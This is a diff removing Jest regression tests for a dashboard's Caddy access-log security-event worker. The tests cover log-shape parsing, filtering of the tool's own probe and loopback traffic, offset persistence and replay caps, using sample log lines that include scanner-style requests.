remote_ip: '10.9.9.8', method: 'POST', uri: '/api/auth/sso-exchange', proto: 'HTTP/2.0', headers: { 'user-agent': ['DashCaddy-Login/1.0'] } },
|
|
||||||
status: 200,
|
|
||||||
duration: 0.084,
|
|
||||||
}) + '\n');
|
|
||||||
|
|
||||||
worker = startCaddyWorker({ log: fakeLogger });
|
|
||||||
const events = await waitForEvents(2);
|
|
||||||
|
|
||||||
const gate = events.find(e => e.action === 'auth.credential-injection');
|
|
||||||
const sso = events.find(e => e.action === 'auth.sso-exchange');
|
|
||||||
expect(gate).toBeDefined();
|
|
||||||
expect(gate.severity).toBe('warn');
|
|
||||||
expect(sso).toBeDefined();
|
|
||||||
expect(sso.outcome).toBe('success');
|
|
||||||
expect(sso.severity).toBe('info');
|
|
||||||
expect(sso.metadata.user_agent).toBe('DashCaddy-Login/1.0'); // lowercase-key variant
|
|
||||||
});
|
|
||||||
|
|
||||||
test('ordinary traffic keeps http.<status> naming and default severity', async () => {
|
|
||||||
fs.appendFileSync(ACCESS_LOG, JSON.stringify({
|
|
||||||
ts: 1787500803,
|
|
||||||
request: { host: 'status.sami',
|
|
||||||
remote_ip: '100.121.150.22', method: 'GET', uri: '/api/health', proto: 'HTTP/2.0', headers: { 'User-Agent': ['watchdog'] } },
|
|
||||||
status: 401,
|
|
||||||
duration: 0.004,
|
|
||||||
}) + '\n');
|
|
||||||
|
|
||||||
worker = startCaddyWorker({ log: fakeLogger });
|
|
||||||
const [ev] = await waitForEvents(1);
|
|
||||||
expect(ev.action).toBe('http.401');
|
|
||||||
expect(ev.severity).toBe('warn'); // 401 mapping, not the sensitive-path escalation
|
|
||||||
expect(ev.outcome).toBe('denied');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('non-JSON lines are skipped without emitting', async () => {
|
|
||||||
fs.appendFileSync(ACCESS_LOG, 'not json at all\n{"ts":1,"request":{"remote_ip":"1.1.1.1","method":"GET","uri":"/"},"status":200}\n');
|
|
||||||
worker = startCaddyWorker({ log: fakeLogger });
|
|
||||||
const [ev] = await waitForEvents(1);
|
|
||||||
expect(readStored().filter(e => e.source_type === 'caddy').length).toBe(1);
|
|
||||||
expect(ev.action).toBe('http.200');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('restart does not re-emit: offset persistence across worker instances', async () => {
|
|
||||||
fs.appendFileSync(ACCESS_LOG, JSON.stringify({
|
|
||||||
ts: 1787500804,
|
|
||||||
request: { host: 'plex.sami',
|
|
||||||
remote_ip: '10.9.9.9', method: 'GET', uri: '/api/auth/gate/plex', headers: {} },
|
|
||||||
status: 401,
|
|
||||||
}) + '\n');
|
|
||||||
|
|
||||||
worker = startCaddyWorker({ log: fakeLogger });
|
|
||||||
await waitForEvents(1);
|
|
||||||
worker.stop();
|
|
||||||
await new Promise(r => setTimeout(r, 150)); // let offset persist tick
|
|
||||||
|
|
||||||
// Second worker instance reads the persisted offset state file
|
|
||||||
fs.writeFileSync(STORE_FILE, '', 'utf8');
|
|
||||||
worker = startCaddyWorker({ log: fakeLogger });
|
|
||||||
await new Promise(r => setTimeout(r, 400));
|
|
||||||
expect(readStored().filter(e => e.source_type === 'caddy').length).toBe(0);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('warns ONCE when the access log path is missing (dead-path visibility)', async () => {
|
|
||||||
fs.rmSync(ACCESS_LOG);
|
|
||||||
worker = startCaddyWorker({ log: fakeLogger });
|
|
||||||
await new Promise(r => setTimeout(r, 200));
|
|
||||||
expect(capturedWarns.length).toBeGreaterThanOrEqual(1);
|
|
||||||
expect(capturedWarns[0].msg).toMatch(/caddy access log not found/);
|
|
||||||
expect(capturedWarns[0].msg).toContain('/access.log');
|
|
||||||
|
|
||||||
// Once-only: a second check doesn't re-warn
|
|
||||||
await new Promise(r => setTimeout(r, 200));
|
|
||||||
expect(capturedWarns.filter(w => /caddy access log not found/.test(w.msg)).length).toBe(1);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,314 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-113 regression pins — caddy security-event pipeline activation.
|
|
||||||
*
|
|
||||||
* Background (queue item h, 2026-08-23): the caddy tail worker was fully
|
|
||||||
* wired (DC-112 named the gate events) but 100% DEAD in production — no
|
|
||||||
* /var/log/caddy mount in the container, no CADDY_ACCESS_LOG env, and no
|
|
||||||
* global access log in the Caddyfile. Store census: 45,912 events, 100%
|
|
||||||
* source_type 'api', ZERO 'caddy'. DC-113 wires the pipeline:
|
|
||||||
* - global Caddyfile logger `dashcaddy-access` (file /var/log/caddy/
|
|
||||||
* access.log, roll 50MiB keep 5) + `log dashcaddy-access` in every
|
|
||||||
* site block (via caddy-apply, host-side — NOT pinned here)
|
|
||||||
* - start.sh: -v /var/log/caddy:/var/log/caddy:ro + CADDY_ACCESS_LOG env
|
|
||||||
* - worker fixes pinned in THIS file:
|
|
||||||
* 1. real caddy JSON nests `host` inside `request` — the top-level
|
|
||||||
* read (DC-112, fixture-shaped) always produced null on live lines
|
|
||||||
* 2. self-noise filter: the API's own probes (DashCaddy-Probe/1.0,
|
|
||||||
* DashCaddy-HealthCheck/1.0) hit Caddy every 10-30s per service
|
|
||||||
* and would bury real perimeter signal in the 100k-event store
|
|
||||||
* 3. recovered-log visibility (DC-112 judge polish fold): when the
|
|
||||||
* access log appears after startup, one info line is logged
|
|
||||||
*
|
|
||||||
* All tests use the REAL worker: temp access log, real tail, real event
|
|
||||||
* store, hermetic sinks. No mocks of the module under test.
|
|
||||||
*/
|
|
||||||
|
|
||||||
const path = require('path');
|
|
||||||
const fs = require('fs');
|
|
||||||
const os = require('os');
|
|
||||||
|
|
||||||
// Hermetic sinks (same pattern as caddy-worker-naming-dc112.test.js)
|
|
||||||
const TMP_DIR = fs.mkdtempSync(path.join(os.tmpdir(), 'dc113-caddy-'));
|
|
||||||
process.env.SECURITY_EVENT_LOG_FILE = path.join(TMP_DIR, 'security-events.jsonl');
|
|
||||||
process.env.CADDY_ACCESS_LOG = path.join(TMP_DIR, 'access.log');
|
|
||||||
process.env.DATA_DIR = TMP_DIR;
|
|
||||||
|
|
||||||
const { startCaddyWorker } = require('../src/security/event-workers');
|
|
||||||
const { getStore } = require('../src/security/event-store');
|
|
||||||
|
|
||||||
let capturedWarns = [];
|
|
||||||
let capturedInfos = [];
|
|
||||||
const fakeLogger = {
|
|
||||||
warn: (ctx, msg, extra) => capturedWarns.push({ ctx, msg, extra }),
|
|
||||||
info: (ctx, msg, extra) => capturedInfos.push({ ctx, msg, extra }),
|
|
||||||
error: () => {},
|
|
||||||
};
|
|
||||||
|
|
||||||
const ACCESS_LOG = process.env.CADDY_ACCESS_LOG;
|
|
||||||
const STORE_FILE = process.env.SECURITY_EVENT_LOG_FILE;
|
|
||||||
|
|
||||||
function readStored() {
|
|
||||||
try {
|
|
||||||
return fs.readFileSync(STORE_FILE, 'utf8').trim().split('\n')
|
|
||||||
.filter(Boolean).map(l => JSON.parse(l));
|
|
||||||
} catch { return []; }
|
|
||||||
}
|
|
||||||
|
|
||||||
async function waitForEvents(n, { timeoutMs = 5000 } = {}) {
|
|
||||||
const deadline = Date.now() + timeoutMs;
|
|
||||||
while (Date.now() < deadline) {
|
|
||||||
const events = readStored().filter(e => e.source_type === 'caddy');
|
|
||||||
if (events.length >= n) return events;
|
|
||||||
await new Promise(r => setTimeout(r, 50));
|
|
||||||
}
|
|
||||||
throw new Error(`timed out waiting for ${n} caddy events (got ${readStored().filter(e => e.source_type === 'caddy').length})`);
|
|
||||||
}
|
|
||||||
|
|
||||||
beforeEach(() => {
|
|
||||||
fs.writeFileSync(STORE_FILE, '', 'utf8');
|
|
||||||
fs.writeFileSync(ACCESS_LOG, '', 'utf8');
|
|
||||||
// Reset the tail's persisted offset (same flake lesson as DC-112).
|
|
||||||
fs.writeFileSync(path.join(TMP_DIR, '.caddy-tail-offset'), '0', 'utf8');
|
|
||||||
capturedWarns = [];
|
|
||||||
capturedInfos = [];
|
|
||||||
getStore({ log: fakeLogger }); // fresh singleton pointed at the temp store file
|
|
||||||
});
|
|
||||||
|
|
||||||
afterAll(() => {
|
|
||||||
try { fs.rmSync(TMP_DIR, { recursive: true, force: true }); } catch {}
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('DC-113: real caddy JSON shape — host nested inside request', () => {
|
|
||||||
let worker;
|
|
||||||
afterEach(() => { if (worker) { worker.stop(); worker = null; } });
|
|
||||||
|
|
||||||
test('metadata.host reads request.host on live caddy lines (was null pre-DC-113)', async () => {
|
|
||||||
// Exact shape from /var/log/caddy/seeds.log on DNS2 (2026-08-23):
|
|
||||||
// host is nested in request; headers are arrays.
|
|
||||||
fs.appendFileSync(ACCESS_LOG, JSON.stringify({
|
|
||||||
level: 'info',
|
|
||||||
ts: 1787461432.8595521,
|
|
||||||
logger: 'http.log.access.dashcaddy-access',
|
|
||||||
msg: 'handled request',
|
|
||||||
request: {
|
|
||||||
remote_ip: '162.243.83.227',
|
|
||||||
remote_port: '57446',
|
|
||||||
client_ip: '162.243.83.227',
|
|
||||||
proto: 'HTTP/1.1',
|
|
||||||
method: 'TRACE',
|
|
||||||
host: 'seeds.cryptographic-triangles.org',
|
|
||||||
uri: '/',
|
|
||||||
headers: { Connection: ['close'], 'User-Agent': ['Mozilla/5.0'] },
|
|
||||||
tls: { resumed: false, version: 772, cipher_suite: 4865, proto: 'http/1.1', server_name: 'seeds.cryptographic-triangles.org', ech: false },
|
|
||||||
},
|
|
||||||
bytes_read: 0,
|
|
||||||
user_id: '',
|
|
||||||
duration: 0.000070446,
|
|
||||||
size: 0,
|
|
||||||
status: 404,
|
|
||||||
}) + '\n');
|
|
||||||
|
|
||||||
worker = startCaddyWorker({ log: fakeLogger });
|
|
||||||
const [ev] = await waitForEvents(1);
|
|
||||||
expect(ev.metadata.host).toBe('seeds.cryptographic-triangles.org');
|
|
||||||
expect(ev.actor).toBe('162.243.83.227');
|
|
||||||
expect(ev.metadata.user_agent).toBe('Mozilla/5.0');
|
|
||||||
expect(ev.action).toBe('http.404');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('top-level host (DC-112 fixture shape) still parses — backwards compat', async () => {
|
|
||||||
fs.appendFileSync(ACCESS_LOG, JSON.stringify({
|
|
||||||
ts: 1787500800,
|
|
||||||
host: 'plex.sami',
|
|
||||||
request: { remote_ip: '10.9.9.9', method: 'GET', uri: '/api/auth/gate/plex', proto: 'HTTP/1.1', headers: { 'User-Agent': ['PlexDBRoulette/1.0'] } },
|
|
||||||
status: 401,
|
|
||||||
duration: 0.007,
|
|
||||||
}) + '\n');
|
|
||||||
worker = startCaddyWorker({ log: fakeLogger });
|
|
||||||
const [ev] = await waitForEvents(1);
|
|
||||||
expect(ev.metadata.host).toBe('plex.sami');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('DC-113: self-noise filter — probe UAs do not flood the store', () => {
|
|
||||||
let worker;
|
|
||||||
afterEach(() => { if (worker) { worker.stop(); worker = null; } });
|
|
||||||
|
|
||||||
test('DashCaddy-Probe/1.0 and DashCaddy-HealthCheck/1.0 lines are dropped', async () => {
|
|
||||||
const mk = (ua, uri) => JSON.stringify({
|
|
||||||
ts: Date.now() / 1000,
|
|
||||||
request: { remote_ip: '172.17.0.2', method: 'GET', uri, host: 'plex.sami', headers: { 'User-Agent': [ua] } },
|
|
||||||
status: 200,
|
|
||||||
});
|
|
||||||
fs.appendFileSync(ACCESS_LOG, mk('DashCaddy-Probe/1.0', '/api/health') + '\n');
|
|
||||||
fs.appendFileSync(ACCESS_LOG, mk('DashCaddy-HealthCheck/1.0', '/') + '\n');
|
|
||||||
fs.appendFileSync(ACCESS_LOG, mk('Mozilla/5.0', '/wp-login.php') + '\n');
|
|
||||||
|
|
||||||
worker = startCaddyWorker({ log: fakeLogger });
|
|
||||||
const events = await waitForEvents(1); // only the external line survives
|
|
||||||
expect(events.length).toBe(1);
|
|
||||||
expect(events[0].metadata.user_agent).toBe('Mozilla/5.0');
|
|
||||||
expect(events[0].target).toBe('GET /wp-login.php');
|
|
||||||
expect(events[0].actor).toBe('172.17.0.2');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('probe-like prefix UA (DashCaddy-Probe/1.1-future) is also filtered', async () => {
|
|
||||||
fs.appendFileSync(ACCESS_LOG, JSON.stringify({
|
|
||||||
ts: Date.now() / 1000,
|
|
||||||
request: { remote_ip: '10.1.1.1', method: 'GET', uri: '/', host: 'x.sami', headers: { 'User-Agent': ['DashCaddy-Probe/1.1-future'] } },
|
|
||||||
status: 200,
|
|
||||||
}) + '\n');
|
|
||||||
worker = startCaddyWorker({ log: fakeLogger });
|
|
||||||
await new Promise(r => setTimeout(r, 700)); // tail poll settles
|
|
||||||
expect(readStored().filter(e => e.source_type === 'caddy').length).toBe(0);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('null/absent UA is NOT filtered (unknown clients stay visible)', async () => {
|
|
||||||
fs.appendFileSync(ACCESS_LOG, JSON.stringify({
|
|
||||||
ts: Date.now() / 1000,
|
|
||||||
request: { remote_ip: '203.0.113.9', method: 'GET', uri: '/admin', host: 'x.sami', headers: {} },
|
|
||||||
status: 403,
|
|
||||||
}) + '\n');
|
|
||||||
worker = startCaddyWorker({ log: fakeLogger });
|
|
||||||
const [ev] = await waitForEvents(1);
|
|
||||||
expect(ev.metadata.user_agent).toBeNull();
|
|
||||||
expect(ev.severity).toBe('warn'); // 403 → warn
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('DC-113: recovered-log visibility (DC-112 judge polish fold)', () => {
|
|
||||||
let worker;
|
|
||||||
afterEach(() => { if (worker) { worker.stop(); worker = null; } });
|
|
||||||
|
|
||||||
test('info line when the access log appears after startup (missing → present)', async () => {
|
|
||||||
// Start with NO access log file at all.
|
|
||||||
fs.rmSync(ACCESS_LOG);
|
|
||||||
worker = startCaddyWorker({ log: fakeLogger });
|
|
||||||
|
|
||||||
// Wait past one missing-poll cycle (pollMs * 5 = 5s default → but the
|
|
||||||
// initial tick is pollMs=1s; give it 1.5s to hit the missing branch).
|
|
||||||
await new Promise(r => setTimeout(r, 1500));
|
|
||||||
|
|
||||||
// The file appears (the infra wiring this test models: caddy reload
|
|
||||||
// creates /var/log/caddy/access.log; the container mount lands).
|
|
||||||
fs.writeFileSync(ACCESS_LOG, '', 'utf8');
|
|
||||||
fs.appendFileSync(ACCESS_LOG, JSON.stringify({
|
|
||||||
ts: Date.now() / 1000,
|
|
||||||
request: { remote_ip: '198.51.100.7', method: 'GET', uri: '/', host: 'status.sami', headers: { 'User-Agent': ['curl/8.0'] } },
|
|
||||||
status: 200,
|
|
||||||
}) + '\n');
|
|
||||||
|
|
||||||
await waitForEvents(1);
|
|
||||||
const infos = capturedInfos.filter(i => /caddy access log active/.test(i.msg));
|
|
||||||
expect(infos.length).toBeGreaterThanOrEqual(1);
|
|
||||||
expect(infos[0].msg).toContain(ACCESS_LOG);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('info line also fires on first poll when the log exists at startup', async () => {
|
|
||||||
fs.writeFileSync(ACCESS_LOG, JSON.stringify({
|
|
||||||
ts: Date.now() / 1000,
|
|
||||||
request: { remote_ip: '198.51.100.8', method: 'GET', uri: '/x', host: 'status.sami', headers: { 'User-Agent': ['curl/8.0'] } },
|
|
||||||
status: 200,
|
|
||||||
}) + '\n');
|
|
||||||
worker = startCaddyWorker({ log: fakeLogger });
|
|
||||||
await waitForEvents(1);
|
|
||||||
expect(capturedInfos.filter(i => /caddy access log active/.test(i.msg)).length).toBe(1);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('onAppear fires once per appearance, not per poll', async () => {
|
|
||||||
fs.writeFileSync(ACCESS_LOG, JSON.stringify({
|
|
||||||
ts: Date.now() / 1000,
|
|
||||||
request: { remote_ip: '198.51.100.9', method: 'GET', uri: '/y', host: 'status.sami', headers: { 'User-Agent': ['curl/8.0'] } },
|
|
||||||
status: 200,
|
|
||||||
}) + '\n');
|
|
||||||
worker = startCaddyWorker({ log: fakeLogger });
|
|
||||||
await waitForEvents(1);
|
|
||||||
// Extra polls with the file still present must not re-fire.
|
|
||||||
await new Promise(r => setTimeout(r, 1500));
|
|
||||||
expect(capturedInfos.filter(i => /caddy access log active/.test(i.msg)).length).toBe(1);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('DC-113 r2: bounded first-start replay (judge fix-first fold)', () => {
|
|
||||||
let worker;
|
|
||||||
afterEach(() => { if (worker) { worker.stop(); worker = null; } });
|
|
||||||
|
|
||||||
// NOTE: trailing \n is REQUIRED — these lines are join('')ed into the
|
|
||||||
// access log; without it the whole tail becomes one unterminated line
|
|
||||||
// that never flushes from the tail buffer.
|
|
||||||
const mkLine = (ip, path) => JSON.stringify({
|
|
||||||
ts: Date.now() / 1000,
|
|
||||||
request: { remote_ip: ip, method: 'GET', uri: path, host: 'status.sami', headers: { 'User-Agent': ['curl/8.0'] } },
|
|
||||||
status: 200,
|
|
||||||
}) + '\n';
|
|
||||||
|
|
||||||
test('first-ever start skips the backlog beyond the 5 MiB cap and drops the partial line', async () => {
|
|
||||||
// No persisted offset state file for this scenario.
|
|
||||||
fs.rmSync(path.join(TMP_DIR, '.caddy-tail-offset'), { force: true });
|
|
||||||
// Build a file beyond the 5 MiB cap WITHOUT flooding the store's write
|
|
||||||
// queue: ONE huge filler line (6 MiB of padding) + a normal backlog +
|
|
||||||
// the two live tail lines. The cap jump lands inside the huge line —
|
|
||||||
// the partial-line discard must skip it entirely, then the backlog
|
|
||||||
// lines (post-jump window) and the live tail lines emit.
|
|
||||||
const mkFiller = (bytes) => JSON.stringify({
|
|
||||||
ts: 1787000000, request: { remote_ip: '10.0.0.1', method: 'GET', uri: '/huge-' + 'x'.repeat(bytes), host: 'status.sami', headers: { 'User-Agent': ['curl/8.0'] } }, status: 200,
|
|
||||||
}) + '\n';
|
|
||||||
const backlog = [];
|
|
||||||
for (let i = 0; i < 40; i++) backlog.push(mkLine('10.0.0.2', '/backlog-' + i));
|
|
||||||
const big = [mkFiller(6 * 1024 * 1024), ...backlog, mkLine('203.0.113.101', '/live-1'), mkLine('203.0.113.102', '/live-2')];
|
|
||||||
fs.writeFileSync(ACCESS_LOG, big.join(''), 'utf8');
|
|
||||||
expect(fs.statSync(ACCESS_LOG).size).toBeGreaterThan(5 * 1024 * 1024 + 1024);
|
|
||||||
|
|
||||||
worker = startCaddyWorker({ log: fakeLogger });
|
|
||||||
|
|
||||||
// Poll until BOTH live tail lines land (cap window = last 5 MiB, which
|
|
||||||
// contains the whole normal backlog + tail lines; drains in <2s).
|
|
||||||
const deadline = Date.now() + 30000;
|
|
||||||
let all = [];
|
|
||||||
while (Date.now() < deadline) {
|
|
||||||
all = readStored().filter(e => e.source_type === 'caddy');
|
|
||||||
const uris = new Set(all.map(e => e.target));
|
|
||||||
if (uris.has('GET /live-1') && uris.has('GET /live-2')) break;
|
|
||||||
await new Promise(r => setTimeout(r, 150));
|
|
||||||
}
|
|
||||||
const uris = new Set(all.map(e => e.target));
|
|
||||||
expect(uris.has('GET /live-1')).toBe(true);
|
|
||||||
expect(uris.has('GET /live-2')).toBe(true);
|
|
||||||
// Cap engaged: the huge pre-cap line is GONE (jumped past + partial
|
|
||||||
// discard), and the backlog window landed.
|
|
||||||
expect(all.length).toBe(42); // 40 backlog + 2 live
|
|
||||||
expect(all.some(e => e.target && e.target.includes('/huge-'))).toBe(false);
|
|
||||||
// Persisted offset now exists — restart resumes from live.
|
|
||||||
expect(fs.existsSync(path.join(TMP_DIR, '.caddy-tail-offset'))).toBe(true);
|
|
||||||
}, 45000);
|
|
||||||
|
|
||||||
test('restart with persisted offset replays nothing (no re-emit, no gap)', async () => {
|
|
||||||
fs.rmSync(path.join(TMP_DIR, '.caddy-tail-offset'), { force: true });
|
|
||||||
fs.writeFileSync(ACCESS_LOG, mkLine('203.0.113.201', '/first') + '\n', 'utf8');
|
|
||||||
worker = startCaddyWorker({ log: fakeLogger });
|
|
||||||
// Wait for the offset to persist (stream 'end' handler), not just the
|
|
||||||
// event to appear — waitForEvents can return before 'end' fires.
|
|
||||||
const deadline = Date.now() + 5000;
|
|
||||||
while (Date.now() < deadline) {
|
|
||||||
if (fs.existsSync(path.join(TMP_DIR, '.caddy-tail-offset'))
|
|
||||||
&& fs.readFileSync(path.join(TMP_DIR, '.caddy-tail-offset'), 'utf8').trim() !== '0') break;
|
|
||||||
await new Promise(r => setTimeout(r, 50));
|
|
||||||
}
|
|
||||||
worker.stop();
|
|
||||||
await new Promise(r => setTimeout(r, 200));
|
|
||||||
|
|
||||||
// New content after the stop. Do NOT truncate the store file: the
|
|
||||||
// singleton's memory still holds w1's events and would flush them on
|
|
||||||
// the next append, making file line-count useless as a replay oracle.
|
|
||||||
// Instead: a replay would append '/first' a SECOND time.
|
|
||||||
fs.appendFileSync(ACCESS_LOG, mkLine('203.0.113.202', '/second') + '\n', 'utf8');
|
|
||||||
worker = startCaddyWorker({ log: fakeLogger });
|
|
||||||
await waitForEvents(2);
|
|
||||||
await new Promise(r => setTimeout(r, 300)); // settle
|
|
||||||
const all = readStored().filter(e => e.source_type === 'caddy');
|
|
||||||
const firsts = all.filter(e => e.target === 'GET /first');
|
|
||||||
const seconds = all.filter(e => e.target === 'GET /second');
|
|
||||||
expect(firsts.length).toBe(1); // exactly once — no replay on restart
|
|
||||||
expect(seconds.length).toBe(1); // and no gap — new line processed
|
|
||||||
}, 15000);
|
|
||||||
});
|
|
||||||
@@ -1,183 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-118 regression pins — generic-UA self-noise conjunction filter.
|
|
||||||
*
|
|
||||||
* Live census (2026-08-23, /var/log/caddy/access.log): the DNS2 watchdog
|
|
||||||
* and on-host cron jobs hit Caddy with a stock curl/8.5.0 UA from
|
|
||||||
* 127.0.0.1 (339/5000 lines) and the host's own tailscale IP (20/5000) —
|
|
||||||
* ~300 GET /api/health 401 warn-events/day burying real perimeter
|
|
||||||
* signal. External curl traffic (zgrab/ scanners using curl, real
|
|
||||||
* attackers) MUST stay visible.
|
|
||||||
*
|
|
||||||
* Design: DashCaddy-* probe UA prefixes are dropped unconditionally
|
|
||||||
* (they are our own binaries). GENERIC tool UAs (curl/) are dropped ONLY
|
|
||||||
* when the source remote_ip is one of this host's own addresses
|
|
||||||
* (DASHCADDY_SELF_IPS env, default loopback). remote_ip (the TCP peer)
|
|
||||||
* is the input — never client_ip/X-Forwarded-For, which is spoofable.
|
|
||||||
*
|
|
||||||
* All tests use the REAL worker: temp access log, real tail, real event
|
|
||||||
* store, hermetic sinks. No mocks of the module under test.
|
|
||||||
*/
|
|
||||||
|
|
||||||
const path = require('path');
|
|
||||||
const fs = require('fs');
|
|
||||||
const os = require('os');
|
|
||||||
|
|
||||||
// Hermetic sinks (same pattern as caddy-worker-pipeline-dc113.test.js)
|
|
||||||
const TMP_DIR = fs.mkdtempSync(path.join(os.tmpdir(), 'dc118-caddy-'));
|
|
||||||
process.env.SECURITY_EVENT_LOG_FILE = path.join(TMP_DIR, 'security-events.jsonl');
|
|
||||||
process.env.CADDY_ACCESS_LOG = path.join(TMP_DIR, 'access.log');
|
|
||||||
process.env.DATA_DIR = TMP_DIR;
|
|
||||||
// Self-IP set for these tests: loopback defaults + a fake tailscale IP.
|
|
||||||
process.env.DASHCADDY_SELF_IPS = '127.0.0.1,::1,100.121.150.22';
|
|
||||||
|
|
||||||
const { startCaddyWorker } = require('../src/security/event-workers');
|
|
||||||
const { getStore } = require('../src/security/event-store');
|
|
||||||
|
|
||||||
let capturedWarns = [];
|
|
||||||
let capturedInfos = [];
|
|
||||||
const fakeLogger = {
|
|
||||||
warn: (ctx, msg, extra) => capturedWarns.push({ ctx, msg, extra }),
|
|
||||||
info: (ctx, msg, extra) => capturedInfos.push({ ctx, msg, extra }),
|
|
||||||
error: () => {},
|
|
||||||
};
|
|
||||||
|
|
||||||
const ACCESS_LOG = process.env.CADDY_ACCESS_LOG;
|
|
||||||
const STORE_FILE = process.env.SECURITY_EVENT_LOG_FILE;
|
|
||||||
|
|
||||||
function mkLine({ ip, ua, uri = '/api/health', status = 401 }) {
|
|
||||||
return JSON.stringify({
|
|
||||||
ts: Date.now() / 1000,
|
|
||||||
request: {
|
|
||||||
remote_ip: ip, method: 'GET', uri, host: 'status.sami', proto: 'HTTP/2.0',
|
|
||||||
headers: ua === null ? {} : { 'User-Agent': [ua] },
|
|
||||||
},
|
|
||||||
status,
|
|
||||||
duration: 0.004,
|
|
||||||
}) + '\n';
|
|
||||||
}
|
|
||||||
|
|
||||||
function readStored() {
|
|
||||||
try {
|
|
||||||
return fs.readFileSync(STORE_FILE, 'utf8').trim().split('\n')
|
|
||||||
.filter(Boolean).map(l => JSON.parse(l));
|
|
||||||
} catch { return []; }
|
|
||||||
}
|
|
||||||
|
|
||||||
async function waitForEvents(n, { timeoutMs = 5000 } = {}) {
|
|
||||||
const deadline = Date.now() + timeoutMs;
|
|
||||||
while (Date.now() < deadline) {
|
|
||||||
const events = readStored().filter(e => e.source_type === 'caddy');
|
|
||||||
if (events.length >= n) return events;
|
|
||||||
await new Promise(r => setTimeout(r, 50));
|
|
||||||
}
|
|
||||||
throw new Error(`timed out waiting for ${n} caddy events (got ${readStored().filter(e => e.source_type === 'caddy').length})`);
|
|
||||||
}
|
|
||||||
|
|
||||||
async function waitForQuiet({ settleMs = 1200 } = {}) {
|
|
||||||
// Inverse of waitForEvents: give the tail a window to (wrongly) emit,
|
|
||||||
// then assert it did not.
|
|
||||||
await new Promise(r => setTimeout(r, settleMs));
|
|
||||||
return readStored().filter(e => e.source_type === 'caddy');
|
|
||||||
}
|
|
||||||
|
|
||||||
beforeEach(() => {
|
|
||||||
fs.writeFileSync(STORE_FILE, '', 'utf8');
|
|
||||||
fs.writeFileSync(ACCESS_LOG, '', 'utf8');
|
|
||||||
// Reset the tail's persisted offset (same flake lesson as DC-112/113).
|
|
||||||
fs.writeFileSync(path.join(TMP_DIR, '.caddy-tail-offset'), '0', 'utf8');
|
|
||||||
capturedWarns = [];
|
|
||||||
capturedInfos = [];
|
|
||||||
getStore({ log: fakeLogger }); // fresh singleton pointed at the temp store file
|
|
||||||
});
|
|
||||||
|
|
||||||
afterAll(() => {
|
|
||||||
try { fs.rmSync(TMP_DIR, { recursive: true, force: true }); } catch {}
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('DC-118: generic-UA self-noise conjunction filter', () => {
|
|
||||||
let worker;
|
|
||||||
afterEach(() => { if (worker) { worker.stop(); worker = null; } });
|
|
||||||
|
|
||||||
test('matrix cell 1 — self IP + generic curl UA → DROPPED (loopback watchdog)', async () => {
|
|
||||||
fs.appendFileSync(ACCESS_LOG, mkLine({ ip: '127.0.0.1', ua: 'curl/8.5.0' }));
|
|
||||||
worker = startCaddyWorker({ log: fakeLogger });
|
|
||||||
const events = await waitForQuiet();
|
|
||||||
expect(events.length).toBe(0);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('matrix cell 1b — self tailscale IP + curl UA → DROPPED (on-host cron)', async () => {
|
|
||||||
fs.appendFileSync(ACCESS_LOG, mkLine({ ip: '100.121.150.22', ua: 'curl/8.5.0' }));
|
|
||||||
worker = startCaddyWorker({ log: fakeLogger });
|
|
||||||
const events = await waitForQuiet();
|
|
||||||
expect(events.length).toBe(0);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('matrix cell 2 — EXTERNAL IP + curl UA → KEPT (real attacker visibility)', async () => {
|
|
||||||
fs.appendFileSync(ACCESS_LOG, mkLine({ ip: '198.51.100.7', ua: 'curl/8.5.0' }));
|
|
||||||
worker = startCaddyWorker({ log: fakeLogger });
|
|
||||||
const [ev] = await waitForEvents(1);
|
|
||||||
expect(ev.actor).toBe('198.51.100.7');
|
|
||||||
expect(ev.metadata.user_agent).toBe('curl/8.5.0');
|
|
||||||
expect(ev.action).toBe('http.401');
|
|
||||||
expect(ev.severity).toBe('warn'); // /api/health 401 stays a warn-event
|
|
||||||
});
|
|
||||||
|
|
||||||
test('matrix cell 3 — self IP + NON-generic UA (browser/attacker tool) → KEPT', async () => {
|
|
||||||
// Even from our own IP, a browser or attack tool UA must not be
|
|
||||||
// silently discarded — an attacker landing on the host itself is
|
|
||||||
// exactly the event the store exists to keep.
|
|
||||||
fs.appendFileSync(ACCESS_LOG, mkLine({ ip: '127.0.0.1', ua: 'Mozilla/5.0 zgrab/0.x' }));
|
|
||||||
worker = startCaddyWorker({ log: fakeLogger });
|
|
||||||
const [ev] = await waitForEvents(1);
|
|
||||||
expect(ev.actor).toBe('127.0.0.1');
|
|
||||||
expect(ev.metadata.user_agent).toBe('Mozilla/5.0 zgrab/0.x');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('matrix cell 4 — self IP + no UA at all → KEPT (missing UA is not noise)', async () => {
|
|
||||||
fs.appendFileSync(ACCESS_LOG, mkLine({ ip: '127.0.0.1', ua: null }));
|
|
||||||
worker = startCaddyWorker({ log: fakeLogger });
|
|
||||||
const [ev] = await waitForEvents(1);
|
|
||||||
expect(ev.actor).toBe('127.0.0.1');
|
|
||||||
expect(ev.metadata.user_agent).toBeNull();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('spoofed X-Forwarded-For (client_ip) cannot opt an attacker out — filter reads remote_ip only', async () => {
|
|
||||||
fs.appendFileSync(ACCESS_LOG, JSON.stringify({
|
|
||||||
ts: Date.now() / 1000,
|
|
||||||
request: {
|
|
||||||
remote_ip: '198.51.100.9', client_ip: '127.0.0.1', // claims to be us
|
|
||||||
method: 'GET', uri: '/api/health', host: 'status.sami', proto: 'HTTP/2.0',
|
|
||||||
headers: { 'User-Agent': ['curl/8.5.0'] },
|
|
||||||
},
